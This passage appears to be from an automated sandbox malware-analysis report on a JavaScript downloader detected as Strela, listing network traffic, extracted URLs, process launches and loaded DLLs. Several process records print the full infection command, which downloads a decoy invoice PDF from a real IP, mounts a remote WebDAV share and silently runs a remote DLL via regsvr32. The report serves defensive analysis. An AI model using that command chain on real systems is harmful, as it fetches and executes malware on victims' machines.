3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:59122 -> 1.1.1.1:53

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1259747976.0000022625AD3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1262186670.0000022625B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1310602693.000001EF9404C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1310602693.000001EF94069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1310602693.000001EF94018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/smPA
Source: svchost.exe, 0000000E.00000002.2557870863.0000016F64C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.1310234307.0000016F64AD0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.14.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 564, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3144522639186114061.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/62@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7452

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7440:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_os01oxe3.bcm.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1656,i,324364413811314309,4010465893870577772,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1656,i,324364413811314309,4010465893870577772,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
